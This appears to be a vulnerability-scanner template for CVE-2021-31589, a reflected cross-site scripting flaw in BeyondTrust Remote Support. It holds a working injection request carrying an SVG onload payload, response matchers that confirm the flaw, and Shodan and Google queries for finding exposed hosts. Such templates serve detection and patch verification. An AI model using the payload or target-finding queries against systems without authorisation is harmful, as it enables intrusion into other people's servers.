40 lines
1.4 KiB
YAML
40 lines
1.4 KiB
YAML
id: CVE-2021-31589
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info:
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name: BeyondTrust Remote Support Reflected XSS
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author: Ahmed Abou-Ela
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severity: medium
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description: Unauthenticated cross-site scripting (XSS) vulnerability in BeyondTrust Secure Remote Access Base Software through 6.0.1 allow remote attackers to inject arbitrary web script or HTML.
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
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cvss-score: 5.4
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cve-id: CVE-2021-31589
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cwe-id: CWE-79
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metadata:
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shodan-query: 'set-cookie: nsbase_session'
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google-dork: '"BeyondTrust" "Redistribution Prohibited"'
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reference:
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- https://packetstormsecurity.com/files/165408
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- https://cxsecurity.com/issue/WLB-2022010013
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- https://beyondtrustcorp.service-now.com/csm?sys_kb_id=922d0ab31bc1b490e73854ae034bcb7b&id=kb_article_view&sysparm_rank=1&sysparm_tsqueryId=64fc14ffdb8f70d422725385ca9619cb
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tags: cve,cve2021,beyondtrust,bomgar,xss
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requests:
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- method: GET
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path:
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- "{{BaseURL}}/appliance/login.ns?login%5Bpassword%5D=test%22%3E%3Csvg/onload=alert(document.domain)%3E&login%5Buse_curr%5D=1&login%5Bsubmit%5D=Change%20Password"
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matchers-condition: and
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matchers:
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- type: word
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case-insensitive: true
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part: body
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words:
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- '<svg/onload=alert(document.domain)>'
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- 'bomgar'
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condition: and
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- type: status
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status:
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- 200
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